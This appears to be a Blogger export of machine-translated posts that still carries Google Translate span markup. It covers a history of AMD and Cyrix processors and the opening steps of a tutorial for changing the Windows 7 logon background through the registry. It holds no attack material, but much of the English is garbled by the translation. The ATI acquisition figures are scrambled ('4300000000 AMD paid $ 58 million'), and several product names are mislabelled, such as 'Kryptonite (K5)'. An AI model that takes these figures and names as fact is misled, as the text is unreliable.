untuk terjemahan alternatif">introduced a</span> <span class="hps" title="Klik untuk terjemahan alternatif">reverse</span><span class="" title="Klik untuk terjemahan alternatif">-engineered</span> <span class="hps" title="Klik untuk terjemahan alternatif">clone</span> <span class="hps" title="Klik untuk terjemahan alternatif">of the</span> <span class="hps" title="Klik untuk terjemahan alternatif">Intel 8080</span> <span class="hps" title="Klik untuk terjemahan alternatif">microprocessor</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">During</span> <span class="hps" title="Klik untuk terjemahan alternatif">this period</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">AMD</span> <span class="hps" title="Klik untuk terjemahan alternatif">also designed</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">produced</span> <span class="hps" title="Klik untuk terjemahan alternatif">a series of</span> <span class="hps" title="Klik untuk terjemahan alternatif">bit</span><span class="" title="Klik untuk terjemahan alternatif">-slice</span> <span class="hps" title="Klik untuk terjemahan alternatif">processor</span> <span class="hps" title="Klik untuk terjemahan alternatif">elements</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">(</span><span class="" title="Klik untuk terjemahan alternatif">Am2900</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">Am29116</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">Am293xx</span><span class="" title="Klik untuk terjemahan alternatif">) used in</span> <span class="hps" title="Klik untuk terjemahan alternatif">various</span> <span class="hps" title="Klik untuk terjemahan alternatif">minicomputer</span> <span class="hps" title="Klik untuk terjemahan alternatif">designs</span><span class="" title="Klik untuk terjemahan alternatif">.</span><br />
<br />
<span class="hps" title="Klik untuk terjemahan alternatif">After the end</span> <span class="hps" title="Klik untuk terjemahan alternatif">of the 1980s</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">some developers</span> <span class="hps" title="Klik untuk terjemahan alternatif">chipset</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">AMD</span> <span class="hps" title="Klik untuk terjemahan alternatif">sperti</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">(</span><span class="" title="Klik untuk terjemahan alternatif">advaced</span> <span class="hps" title="Klik untuk terjemahan alternatif">Micro Devices</span><span class="" title="Klik untuk terjemahan alternatif">)</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">Cyrix</span> <span class="hps" title="Klik untuk terjemahan alternatif">began to challenge</span> <span class="hps" title="Klik untuk terjemahan alternatif">Intel</span> <span class="hps" title="Klik untuk terjemahan alternatif">by producing</span> <span class="hps" title="Klik untuk terjemahan alternatif">its own</span> <span class="hps" title="Klik untuk terjemahan alternatif">processor chips</span> <span class="hps" title="Klik untuk terjemahan alternatif">"Intel</span><span class="atn" title="Klik untuk terjemahan alternatif">-</span><span class="" title="Klik untuk terjemahan alternatif">competibel</span><span class="" title="Klik untuk terjemahan alternatif">"</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">The chip can</span> <span class="hps" title="Klik untuk terjemahan alternatif">support</span> <span class="hps" title="Klik untuk terjemahan alternatif">a series of</span> <span class="hps" title="Klik untuk terjemahan alternatif">instructions</span> <span class="hps" title="Klik untuk terjemahan alternatif">that are on</span> <span class="hps" title="Klik untuk terjemahan alternatif">Intel processors</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">Cheaper</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">sometimes</span> <span class="hps" title="Klik untuk terjemahan alternatif">has an ability to</span> <span class="hps" title="Klik untuk terjemahan alternatif">reply</span> <span class="hps" title="Klik untuk terjemahan alternatif">more</span> <span class="hps" title="Klik untuk terjemahan alternatif">than the</span> <span class="hps" title="Klik untuk terjemahan alternatif">Intel product</span><span class="" title="Klik untuk terjemahan alternatif">.</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">AMD</span> <span class="hps" title="Klik untuk terjemahan alternatif">began to</span> <span class="hps" title="Klik untuk terjemahan alternatif">pound the market</span> <span class="hps" title="Klik untuk terjemahan alternatif">with</span> <span class="hps" title="Klik untuk terjemahan alternatif">homemade</span> <span class="hps" title="Klik untuk terjemahan alternatif">processor</span> <span class="hps" title="Klik untuk terjemahan alternatif">in 1996</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">with the release of</span> <span class="hps" title="Klik untuk terjemahan alternatif">the AMD</span> <span class="hps" title="Klik untuk terjemahan alternatif">K5</span><span class="" title="Klik untuk terjemahan alternatif">.</span><br />
<br />
<span class="hps" title="Klik untuk terjemahan alternatif">Previously</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">AMD</span> <span class="hps" title="Klik untuk terjemahan alternatif">is</span> <span class="hps" title="Klik untuk terjemahan alternatif">making</span> <span class="hps" title="Klik untuk terjemahan alternatif">processors such as</span> <span class="hps" title="Klik untuk terjemahan alternatif">AM486</span> <span class="hps" title="Klik untuk terjemahan alternatif">on</span> <span class="hps" title="Klik untuk terjemahan alternatif">the</span> <span class="hps" title="Klik untuk terjemahan alternatif">Intel 386</span> <span class="hps" title="Klik untuk terjemahan alternatif">and 486</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">but</span> <span class="hps" title="Klik untuk terjemahan alternatif">still</span> <span class="hps" title="Klik untuk terjemahan alternatif">under</span> <span class="hps" title="Klik untuk terjemahan alternatif">license</span> <span class="hps" title="Klik untuk terjemahan alternatif">Intel.</span> <span class="hps" title="Klik untuk terjemahan alternatif">AMD</span> <span class="hps" title="Klik untuk terjemahan alternatif">K5</span> <span class="hps" title="Klik untuk terjemahan alternatif">who</span> <span class="hps" title="Klik untuk terjemahan alternatif">received a</span> <span class="hps" title="Klik untuk terjemahan alternatif">good</span> <span class="hps" title="Klik untuk terjemahan alternatif">response</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">Then there is the</span> <span class="hps" title="Klik untuk terjemahan alternatif">AMD</span> <span class="hps" title="Klik untuk terjemahan alternatif">K6</span> <span class="hps" title="Klik untuk terjemahan alternatif">who</span> <span class="hps" title="Klik untuk terjemahan alternatif">was released</span> <span class="hps" title="Klik untuk terjemahan alternatif">in 1997</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">with</span> <span class="hps" title="Klik untuk terjemahan alternatif">166 and</span> <span class="hps" title="Klik untuk terjemahan alternatif">200MHz</span> <span class="hps" title="Klik untuk terjemahan alternatif">speeds</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">This processor</span> <span class="hps" title="Klik untuk terjemahan alternatif">is</span> <span class="hps" title="Klik untuk terjemahan alternatif">released</span> <span class="hps" title="Klik untuk terjemahan alternatif">to</span> <span class="hps" title="Klik untuk terjemahan alternatif">compete with</span> <span class="hps" title="Klik untuk terjemahan alternatif">Intel</span> <span class="hps" title="Klik untuk terjemahan alternatif">processor</span> <span class="hps" title="Klik untuk terjemahan alternatif">capabilities</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">The advantages</span> <span class="hps" title="Klik untuk terjemahan alternatif">of</span> <span class="hps" title="Klik untuk terjemahan alternatif">AMD</span> <span class="hps" title="Klik untuk terjemahan alternatif">processors</span> <span class="hps" title="Klik untuk terjemahan alternatif">is the</span> <span class="hps" title="Klik untuk terjemahan alternatif">ability</span> <span class="hps" title="Klik untuk terjemahan alternatif">to</span> <span class="hps" title="Klik untuk terjemahan alternatif">overclock</span><span class="" title="Klik untuk terjemahan alternatif">.</span></span><br />
<br />
<span class="" id="result_box" lang="en"><span class="hps" title="Klik untuk
terjemahan alternatif">Same</span> <span class="hps" title="Klik untuk
terjemahan alternatif">with AMD</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">after producing</span> <span class="hps" title="Klik untuk terjemahan alternatif">for</span> <span class="hps" title="Klik untuk terjemahan alternatif">Intel's</span> <span class="hps" title="Klik untuk terjemahan alternatif">X86</span> <span class="hps" title="Klik untuk terjemahan alternatif">processor</span> <span class="hps" title="Klik untuk terjemahan alternatif">on</span> <span class="hps" title="Klik untuk terjemahan alternatif">the</span> <span class="hps" title="Klik untuk terjemahan alternatif">Intel</span> <span class="hps" title="Klik untuk terjemahan alternatif">286 and</span> <span class="hps" title="Klik untuk terjemahan alternatif">386,</span> <span class="hps" title="Klik untuk terjemahan alternatif">Cyrix</span> <span class="hps" title="Klik untuk terjemahan alternatif">decided</span> <span class="hps" title="Klik untuk terjemahan alternatif">to make my own</span> <span class="hps" title="Klik untuk terjemahan alternatif">with the release of</span> <span class="hps" title="Klik untuk terjemahan alternatif">Cyrix</span> <span class="hps" title="Klik untuk terjemahan alternatif">486 DX</span><span class="" title="Klik untuk terjemahan
alternatif">-4</span> <span class="hps" title="Klik untuk terjemahan alternatif">for the first time</span> <span class="hps" title="Klik untuk terjemahan
alternatif">in</span> <span class="hps" title="Klik untuk terjemahan
alternatif">the early '90s</span><span class="" title="Klik
untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Continued</span> <span class="hps" title="Klik untuk
terjemahan alternatif">in 1995</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">released the</span> <span class="hps" title="Klik untuk terjemahan alternatif">Cyrix</span> <span class="hps" title="Klik untuk terjemahan alternatif">6x86</span> <span class="hps" title="Klik untuk terjemahan alternatif">Cyrix</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">the processor</span> <span class="hps" title="Klik untuk terjemahan alternatif">at high speed</span> <span class="hps" title="Klik untuk terjemahan alternatif">in</span> <span class="hps" title="Klik untuk terjemahan alternatif">his generation</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">who</span> <span class="hps" title="Klik untuk terjemahan alternatif">saygnya</span> <span class="hps" title="Klik untuk terjemahan alternatif">had a problem</span> <span class="hps" title="Klik untuk terjemahan alternatif">on the compatibility</span> <span class="hps" title="Klik untuk terjemahan alternatif">and heat</span><span class="" title="Klik untuk terjemahan
alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">In 1999</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Cyrix</span> <span class="hps" title="Klik untuk terjemahan
alternatif">was bought by</span> <span class="hps" title="Klik untuk
terjemahan alternatif">VIA</span><span class="" title="Klik
untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">the Taiwanese</span> <span class="hps" title="Klik untuk
terjemahan alternatif">chipset</span> <span class="hps" title="Klik
untuk terjemahan alternatif">company</span><span class="" title="Klik untuk terjemahan alternatif">.</span><br />
<br />
<span class="hps" title="Klik untuk terjemahan alternatif">Until</span> <span class="hps" title="Klik untuk terjemahan alternatif">now</span> <span class="hps" title="Klik untuk terjemahan alternatif">the development of</span> <span class="hps" title="Klik untuk terjemahan alternatif">microprocessors</span> <span class="hps" title="Klik untuk terjemahan alternatif">has been continued</span> <span class="hps" title="Klik untuk terjemahan alternatif">and Intel</span> <span class="hps" title="Klik untuk terjemahan
alternatif">microprocessors</span> <span class="hps" title="Klik untuk
terjemahan alternatif">still</span> <span class="hps" title="Klik untuk
terjemahan alternatif">dominate</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the world</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Gordon</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Moore</span> <span class="hps" title="Klik
untuk terjemahan alternatif">in 1965</span> <span class="hps" title="Klik untuk terjemahan alternatif">who</span> <span class="hps" title="Klik untuk terjemahan alternatif">predicted</span> <span class="hps" title="Klik untuk terjemahan alternatif">the number of transistors</span> <span class="hps" title="Klik untuk terjemahan alternatif">on</span> <span class="hps" title="Klik untuk terjemahan alternatif">integrated circuit</span> <span class="hps atn" title="Klik untuk terjemahan
alternatif">(</span><span class="" title="Klik untuk
terjemahan alternatif">IC</span><span class="" title="Klik untuk
terjemahan alternatif">)</span> <span class="hps" title="Klik untuk terjemahan
alternatif">will double</span> <span class="hps" title="Klik untuk
terjemahan alternatif">every year</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">This statement was</span> <span class="hps" title="Klik untuk terjemahan alternatif">updated</span> <span class="hps" title="Klik untuk terjemahan alternatif">Moore</span> <span class="hps" title="Klik untuk terjemahan alternatif">in</span> <span class="hps" title="Klik untuk terjemahan alternatif">1995,</span> <span class="hps" title="Klik untuk terjemahan alternatif">with research</span> <span class="hps" title="Klik untuk terjemahan alternatif">that</span> <span class="hps" title="Klik untuk terjemahan alternatif">multiple</span> <span class="hps" title="Klik untuk terjemahan alternatif">double</span> <span class="hps" title="Klik untuk terjemahan alternatif">the number of transistors</span> <span class="hps" title="Klik untuk terjemahan alternatif">will only</span> <span class="hps" title="Klik untuk terjemahan
alternatif">occur</span> <span class="hps" title="Klik untuk terjemahan
alternatif">once</span> <span class="hps" title="Klik untuk terjemahan
alternatif">every</span> <span class="hps" title="Klik untuk terjemahan
alternatif">two</span> <span class="hps" title="Klik untuk terjemahan
alternatif">years</span><span class="" title="Klik untuk
terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Moore's Law</span> <span class="hps" title="Klik untuk
terjemahan alternatif">until</span> <span class="hps" title="Klik untuk
terjemahan alternatif">now a</span> <span class="hps" title="Klik untuk
terjemahan alternatif">guide</span> <span class="hps" title="Klik untuk
terjemahan alternatif">for the</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Intel</span> <span class="hps" title="Klik
untuk terjemahan alternatif">processor</span> <span class="hps" title="Klik untuk terjemahan alternatif">in order</span> <span class="hps" title="Klik untuk terjemahan alternatif">to</span> <span class="hps" title="Klik untuk terjemahan alternatif">spur</span> <span class="hps" title="Klik untuk terjemahan alternatif">more</span> <span class="hps" title="Klik untuk terjemahan alternatif">reliably</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">especially the increase in</span> <span class="hps" title="Klik untuk terjemahan alternatif">speed</span> <span class="hps" title="Klik untuk terjemahan alternatif">with</span> <span class="hps" title="Klik untuk terjemahan alternatif">a very</span> <span class="hps" title="Klik untuk terjemahan alternatif">significant</span> <span class="hps" title="Klik untuk terjemahan
alternatif">price reductions</span><span class="" title="Klik untuk terjemahan alternatif">.</span><br />
<br />
<span class="hps" title="Klik untuk terjemahan alternatif">AMD</span> <span class="hps" title="Klik untuk terjemahan alternatif">announced a</span> <span class="hps" title="Klik untuk terjemahan alternatif">merger with</span> <span class="hps" title="Klik untuk terjemahan alternatif">ATI</span> <span class="hps" title="Klik untuk terjemahan alternatif">Technologies</span> <span class="hps" title="Klik untuk terjemahan alternatif">on July 24,</span> <span class="hps" title="Klik untuk terjemahan alternatif">2006.</span> <span class="hps" title="Klik untuk terjemahan alternatif">4300000000</span> <span class="hps" title="Klik untuk terjemahan alternatif">AMD</span> <span class="hps" title="Klik untuk terjemahan alternatif">paid $</span> <span class="hps" title="Klik untuk terjemahan alternatif">58 million</span> <span class="hps" title="Klik untuk terjemahan alternatif">in cash</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">shares</span> <span class="hps" title="Klik untuk terjemahan alternatif">of</span> <span class="hps" title="Klik untuk terjemahan alternatif">stock</span> <span class="hps" title="Klik untuk terjemahan alternatif">for a total</span> <span class="hps" title="Klik untuk terjemahan alternatif">of U.S.</span> <span class="hps" title="Klik untuk terjemahan alternatif">$ 5.4</span> <span class="hps" title="Klik untuk terjemahan alternatif">billion</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">The merger</span> <span class="hps" title="Klik untuk terjemahan alternatif">was completed on</span> <span class="hps" title="Klik untuk terjemahan alternatif">October 25, 2006</span><span class="" title="Klik untuk terjemahan alternatif">, and</span> <span class="hps" title="Klik untuk terjemahan alternatif">ATI</span> <span class="hps" title="Klik untuk terjemahan alternatif">is now part of</span> <span class="hps" title="Klik untuk terjemahan alternatif">AMD</span><span class="" title="Klik untuk terjemahan alternatif">.</span><br />
<br />
<span class="hps" title="Klik untuk terjemahan alternatif">In October</span> <span class="hps" title="Klik untuk terjemahan alternatif">2008,</span> <span class="hps" title="Klik untuk terjemahan alternatif">AMD</span> <span class="hps" title="Klik untuk terjemahan alternatif">announced plans to</span> <span class="hps" title="Klik untuk terjemahan alternatif">spin off</span> <span class="hps" title="Klik untuk terjemahan alternatif">its manufacturing operations</span> <span class="hps" title="Klik untuk terjemahan
alternatif">in the form of</span> <span class="hps" title="Klik untuk
terjemahan alternatif">a multibillion</span><span class="" title="Klik untuk terjemahan alternatif">-dollar</span> <span class="hps" title="Klik untuk terjemahan alternatif">joint venture</span> <span class="hps" title="Klik untuk terjemahan alternatif">with Advanced</span> <span class="hps" title="Klik untuk terjemahan alternatif">Technology Investment</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Co.</span><span class="" title="Klik
untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">an</span> <span class="hps" title="Klik untuk terjemahan
alternatif">investment</span> <span class="hps" title="Klik untuk
terjemahan alternatif">company</span> <span class="hps" title="Klik
untuk terjemahan alternatif">formed</span> <span class="hps" title="Klik
untuk terjemahan alternatif">by the</span> <span class="hps" title="Klik untuk terjemahan alternatif">government of Abu</span> <span class="hps" title="Klik untuk terjemahan alternatif">Dhabi</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">The new</span> <span class="hps" title="Klik untuk terjemahan alternatif">venture</span> <span class="hps" title="Klik untuk terjemahan alternatif">is called</span> <span class="hps" title="Klik untuk terjemahan alternatif">GlobalFoundries</span> <span class="hps" title="Klik untuk terjemahan alternatif">Inc.</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">This</span> <span class="hps" title="Klik untuk terjemahan alternatif">will</span> <span class="hps" title="Klik untuk terjemahan alternatif">allow</span> <span class="hps" title="Klik untuk terjemahan alternatif">AMD</span> <span class="hps" title="Klik untuk terjemahan alternatif">to</span> <span class="hps" title="Klik untuk terjemahan alternatif">focus solely</span> <span class="hps" title="Klik untuk terjemahan alternatif">on</span> <span class="hps" title="Klik untuk terjemahan alternatif">chip design</span><span class="" title="Klik untuk terjemahan alternatif">.</span><br />
<br />
<span class="hps" title="Klik untuk terjemahan alternatif">Some of</span> <span class="hps" title="Klik untuk terjemahan alternatif">AMD's</span> <span class="hps" title="Klik untuk terjemahan alternatif">microprocessor</span> <span class="hps" title="Klik untuk terjemahan alternatif">products</span> <span class="hps" title="Klik untuk terjemahan alternatif">are:</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">Turion 64</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">Duron</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">Sempron</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">Kryptonite</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">(</span><span class="" title="Klik untuk terjemahan alternatif">K5</span><span class="" title="Klik untuk terjemahan alternatif">)</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">Nexgen</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">(</span><span class="" title="Klik untuk terjemahan alternatif">K6</span> <span class="hps" title="Klik untuk terjemahan alternatif">/</span> <span class="hps" title="Klik untuk terjemahan alternatif">K6</span> <span class="hps" title="Klik untuk terjemahan alternatif">MMX</span> <span class="hps" title="Klik untuk terjemahan alternatif">/</span> <span class="hps" title="Klik untuk terjemahan alternatif">K6</span><span class="" title="Klik untuk terjemahan alternatif">-2</span> <span class="hps" title="Klik untuk terjemahan alternatif">/</span> <span class="hps" title="Klik untuk terjemahan alternatif">K6</span><span class="" title="Klik untuk terjemahan alternatif">-3)</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">Athlon</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">(</span><span class="" title="Klik untuk terjemahan alternatif">K7</span><span class="" title="Klik untuk terjemahan alternatif">)</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">Opteron</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">(</span><span class="" title="Klik untuk terjemahan alternatif">AMD64</span> <span class="hps" title="Klik untuk terjemahan alternatif">/</span> <span class="hps" title="Klik untuk terjemahan alternatif">K8</span><span class="" title="Klik untuk terjemahan alternatif">)</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">Athlon64</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">(</span><span class="" title="Klik untuk terjemahan alternatif">K8L</span><span class="" title="Klik untuk terjemahan alternatif">)</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">Phenom</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">(</span><span class="" title="Klik untuk terjemahan alternatif">K10</span><span class="" title="Klik untuk terjemahan alternatif">)</span><br />
<br />
<span class="hps" title="Klik untuk terjemahan alternatif">For more details</span> <span class="hps" title="Klik untuk terjemahan alternatif">visit the site</span> <span class="hps" title="Klik untuk terjemahan alternatif">of AMD</span></span><span class="" id="result_box" lang="en"><span class="" title="Klik untuk terjemahan alternatif"> </span></span><span class="" id="result_box" lang="en"><span class="" title="Klik untuk terjemahan alternatif"> </span></span>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-55507567850175212372011-07-17T04:48:00.000-07:002011-07-17T04:48:38.529-07:00How To Change Winlogon in Windows 7<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7V_Th6kugvaHRMatmDidPGzuAZX1e6RRwGRD8qCw_JyATWLai9tmkgmqVNW5u5CCBLMKDqIAITA6tt6dZub1qOABo-774UbF9aVU0STOjvECZmUcEe2jMKMlMAOPk0W7ODVASb843kUM/s1600/backgrounddeafault.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7V_Th6kugvaHRMatmDidPGzuAZX1e6RRwGRD8qCw_JyATWLai9tmkgmqVNW5u5CCBLMKDqIAITA6tt6dZub1qOABo-774UbF9aVU0STOjvECZmUcEe2jMKMlMAOPk0W7ODVASb843kUM/s320/backgrounddeafault.jpg" width="320" /></a></div><br />
<span class="" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif">want to know</span> <span class="hps" title="Klik untuk terjemahan alternatif">how to replace</span> <span class="hps" title="Klik untuk terjemahan alternatif">winlogon</span> <span class="hps" title="Klik untuk terjemahan
alternatif">in windows 7</span><span title="Klik untuk
terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">windows 7</span> <span class="hps" title="Klik untuk
terjemahan alternatif">so that</span> <span class="hps" title="Klik
untuk terjemahan alternatif">you</span> <span class="hps" title="Klik
untuk terjemahan alternatif">or</span> <span class="hps" title="Klik
untuk terjemahan alternatif">other</span> <span class="hps" title="Klik
untuk terjemahan alternatif">cool</span> <span class="hps" title="Klik
untuk terjemahan alternatif">than the other</span><span title="Klik untuk terjemahan alternatif">?</span></span><br />
<span class="short_text" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif">we just</span> <span class="hps" title="Klik untuk terjemahan alternatif">started</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">namely</span> <span class="hps" title="Klik untuk terjemahan alternatif">by :</span></span><br />
<br />
<span class="short_text" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif">1. </span></span><span class="" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif">Open</span> <span class="hps" title="Klik untuk terjemahan alternatif">your</span> <span class="hps" title="Klik untuk terjemahan alternatif">Registry</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">by pressing</span> <span class="hps" title="Klik untuk terjemahan alternatif">the Windows key</span> <span class="hps" title="Klik untuk terjemahan alternatif">+</span> <span class="hps" title="Klik untuk terjemahan alternatif">R</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">then write</span> <span class="hps" title="Klik untuk terjemahan alternatif">regedit</span> <span class="hps" title="Klik untuk terjemahan alternatif">in the</span> <span class="hps" title="Klik untuk terjemahan alternatif">run</span></span><span class="short_text" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif"> </span></span><br />
<br />
<span class="short_text" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif">2. </span></span><span class="" id="result_box" lang="en"><span class="hps" title="Klik untuk
terjemahan alternatif">Find the</span> <span class="hps" title="Klik
untuk terjemahan alternatif">following location</span> <span class="hps" title="Klik untuk terjemahan alternatif">HKEY_LOCAL_MACHINE</span> <span class="hps" title="Klik untuk terjemahan alternatif">\</span> <span class="hps" title="Klik untuk terjemahan alternatif">Software</span> <span class="hps" title="Klik untuk terjemahan alternatif">\</span> <span class="hps" title="Klik untuk terjemahan alternatif">Microsoft</span> <span class="hps" title="Klik untuk terjemahan alternatif">\</span> <span class="hps" title="Klik untuk terjemahan alternatif">Windows</span> <span class="hps" title="Klik untuk terjemahan alternatif">\</span> <span class="hps" title="Klik untuk terjemahan alternatif">CurrentVersion</span> <span class="hps" title="Klik untuk terjemahan alternatif">\</span> <span class="hps" title="Klik untuk terjemahan alternatif">Authentication</span> <span class="hps" title="Klik untuk terjemahan alternatif">\</span> <span class="hps" title="Klik untuk terjemahan alternatif">LogonUI</span> <span class="hps" title="Klik untuk terjemahan alternatif">\ Background</span></span><span class="short_text" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif"> </span></span><br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4ugUClkr4zrsRFuG6pttGTzTysPPS_EPgjvANpw1Dat2yRtTEF1M5mfkK3DWawNpm7I98tHIBZUQMpe-xaj8QKZw9TCjpNHilaXkCTPMUtUKc_0VtUMlKhmTYQIl6TKhELpSDmfXUloA/s1600/reg1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4ugUClkr4zrsRFuG6pttGTzTysPPS_EPgjvANpw1Dat2yRtTEF1M5mfkK3DWawNpm7I98tHIBZUQMpe-xaj8QKZw9TCjpNHilaXkCTPMUtUKc_0VtUMlKhmTYQIl6TKhELpSDmfXUloA/s320/reg1.png" width="320" /></a></div><br />
<span class="short_text" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif">3. </span></span><span class="" id="result_box" lang="en"><span class="hps" title="Klik untuk
terjemahan alternatif">See Figure</span> <span class="hps" title="Klik
untuk terjemahan alternatif">on Top</span><span title="Klik
untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">If</span> <span class="hps" title="Klik untuk terjemahan
alternatif">you already have a</span> <span class="hps" title="Klik
untuk terjemahan alternatif">DWORD</span> <span class="hps" title="Klik
untuk terjemahan alternatif">with the name</span> <span class="hps" title="Klik untuk terjemahan alternatif">OEMBackground</span> <span class="hps" title="Klik untuk terjemahan alternatif">change</span> <span class="hps" title="Klik untuk terjemahan alternatif">its</span> <span class="hps" title="Klik untuk terjemahan alternatif">value</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">to 1 (</span><span title="Klik untuk terjemahan alternatif">hexadecimal</span><span title="Klik untuk terjemahan alternatif">)</span><span title="Klik untuk
terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">but</span> <span class="hps" title="Klik untuk terjemahan
alternatif">if</span> <span class="hps" title="Klik untuk terjemahan
alternatif">you do not have</span><span title="Klik untuk
terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">you</span> <span class="hps" title="Klik untuk terjemahan
alternatif">simply right-click</span> <span class="hps" title="Klik
untuk terjemahan alternatif">and then</span> <span class="hps" title="Klik untuk terjemahan alternatif">select</span> <span class="hps" title="Klik untuk terjemahan alternatif">a new</span> <span class="hps" title="Klik untuk terjemahan alternatif">dword</span><span title="Klik untuk terjemahan alternatif">, name</span> <span class="hps" title="Klik
untuk terjemahan alternatif">and</span> <span class="hps" title="Klik
untuk terjemahan alternatif">value</span> <span class="hps" title="Klik
untuk terjemahan alternatif">as shown</span> <span class="hps" title="Klik untuk terjemahan alternatif">above</span><span title="Klik untuk terjemahan alternatif">.</span></span><br />
<br />
